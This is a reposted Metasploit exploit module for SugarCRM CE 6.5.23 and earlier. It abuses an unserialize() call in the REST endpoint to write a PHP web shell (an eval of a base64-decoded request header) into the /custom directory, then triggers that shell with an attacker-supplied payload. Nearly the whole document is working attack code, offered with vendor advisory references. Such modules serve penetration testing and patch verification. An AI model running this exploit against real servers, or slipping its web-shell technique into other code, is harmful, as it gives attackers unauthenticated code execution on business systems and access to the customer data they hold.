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SugarCRM REST Unserialize PHP Code Execution

Posted on 08 September 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'SugarCRM REST Unserialize PHP Code Execution',
'Description' => %q{
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
which could be abused to allow unauthenticated users to execute arbitrary PHP code with
the permissions of the webserver. The dangerous unserialize() call exists in the
'/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2016-07'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
['URL', 'https://bugs.php.net/bug.php?id=72663']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2016'
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
], self.class)
end

def exploit
upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'

payload_serialized = "O:+14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";"
payload_serialized << "s:#{upload_php.length+2}:"..#{upload_php}";S:16:"\00*\00"
payload_serialized << "_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:55"
payload_serialized << ":"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>";}}"

print_status("#{peer} - Exploiting the unserialize() to upload PHP code")

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),
'method' => 'POST',
'vars_post' => {
'method' => 'login',
'input_type' => 'Serialize',
'rest_data' => payload_serialized
}
})

if not res or res.code != 200
print_error("#{peer} - Exploit failed: #{res.code}")
return
end

register_files_for_cleanup(File.basename(upload_php))

print_status("#{peer} - Executing the payload #{upload_php}")

res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, upload_php),
'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
})

if res and res.code != 200
print_error("#{peer} - Payload execution failed: #{res.code}")
return
end
end
end

 

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